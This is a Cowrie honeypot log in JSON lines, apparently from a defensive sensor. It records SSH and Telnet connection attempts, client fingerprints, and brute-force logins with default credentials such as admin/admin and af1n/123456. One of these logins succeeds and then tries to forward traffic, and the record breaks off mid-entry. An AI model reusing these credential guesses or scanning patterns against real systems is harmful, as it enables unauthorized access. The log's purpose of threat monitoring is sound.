{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:38.811171Z","src_ip":"152.32.163.183","session":"c692acf5825e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:38.818846Z","src_ip":"152.32.163.183","session":"c692acf5825e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44026,"dst_ip":"159.203.135.109","dst_port":22,"session":"8457acb042f9","protocol":"ssh","message":"New connection: 159.203.92.129:44026 (159.203.135.109:22) [session: 8457acb042f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:04.372606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:04.377296Z","src_ip":"159.203.92.129","session":"8457acb042f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:04.384114Z","src_ip":"159.203.92.129","session":"8457acb042f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"af1n","password":"123","message":"login attempt [af1n/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:04.398781Z","src_ip":"159.203.92.129","session":"8457acb042f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:05.406962Z","src_ip":"159.203.92.129","session":"8457acb042f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3620b6f13ac","protocol":"ssh","message":"New connection: 159.203.92.129:42592 (159.203.135.109:22) [session: e3620b6f13ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:47.942754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:47.949898Z","src_ip":"159.203.92.129","session":"e3620b6f13ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:47.955324Z","src_ip":"159.203.92.129","session":"e3620b6f13ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"af1n","password":"123456","message":"login attempt [af1n/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:47.968426Z","src_ip":"159.203.92.129","session":"e3620b6f13ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:48.975281Z","src_ip":"159.203.92.129","session":"e3620b6f13ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47242,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9343f71cdd","protocol":"ssh","message":"New connection: 87.251.64.176:47242 (10.17.0.5:22) [session: 0c9343f71cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:57.814777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:57.823035Z","src_ip":"87.251.64.176","session":"0c9343f71cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:57.918713Z","src_ip":"87.251.64.176","session":"0c9343f71cdd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:58.209877Z","src_ip":"87.251.64.176","session":"0c9343f71cdd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:58.309566Z","session":"0c9343f71cdd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:58.407687Z","src_ip":"87.251.64.176","session":"0c9343f71cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:36:58.506159Z","src_ip":"87.251.64.176","session":"0c9343f71cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3f4a5ee2498","protocol":"ssh","message":"New connection: 152.32.163.183:40590 (10.17.0.5:22) [session: a3f4a5ee2498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:05.566269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:05.572587Z","src_ip":"152.32.163.183","session":"a3f4a5ee2498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:05.825423Z","src_ip":"152.32.163.183","session":"a3f4a5ee2498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testsite","password":"test","message":"login attempt [testsite/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:07.571977Z","src_ip":"152.32.163.183","session":"a3f4a5ee2498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:08.828881Z","src_ip":"152.32.163.183","session":"a3f4a5ee2498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50812,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1d673d6fe1b","protocol":"ssh","message":"New connection: 159.203.92.129:50812 (159.203.135.109:22) [session: f1d673d6fe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:33.529624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:33.535424Z","src_ip":"159.203.92.129","session":"f1d673d6fe1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:33.540335Z","src_ip":"159.203.92.129","session":"f1d673d6fe1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"af1n","password":"af1n","message":"login attempt [af1n/af1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:33.550851Z","src_ip":"159.203.92.129","session":"f1d673d6fe1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:34.557268Z","src_ip":"159.203.92.129","session":"f1d673d6fe1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.225.7","src_port":57248,"dst_ip":"159.203.135.109","dst_port":23,"session":"846c2a95b343","protocol":"telnet","message":"New connection: 128.199.225.7:57248 (159.203.135.109:23) [session: 846c2a95b343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:37:41.547811Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a6eb52cde55","protocol":"ssh","message":"New connection: 159.203.92.129:60392 (159.203.135.109:22) [session: 4a6eb52cde55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:19.172703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:19.177879Z","src_ip":"159.203.92.129","session":"4a6eb52cde55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:19.183083Z","src_ip":"159.203.92.129","session":"4a6eb52cde55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"af","password":"123456","message":"login attempt [af/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:19.195351Z","src_ip":"159.203.92.129","session":"4a6eb52cde55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:20.201990Z","src_ip":"159.203.92.129","session":"4a6eb52cde55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":58128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1f8f6a7fe99","protocol":"ssh","message":"New connection: 152.32.163.183:58128 (10.17.0.5:22) [session: f1f8f6a7fe99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:38.322248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:38:38.333747Z","src_ip":"152.32.163.183","session":"f1f8f6a7fe99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-s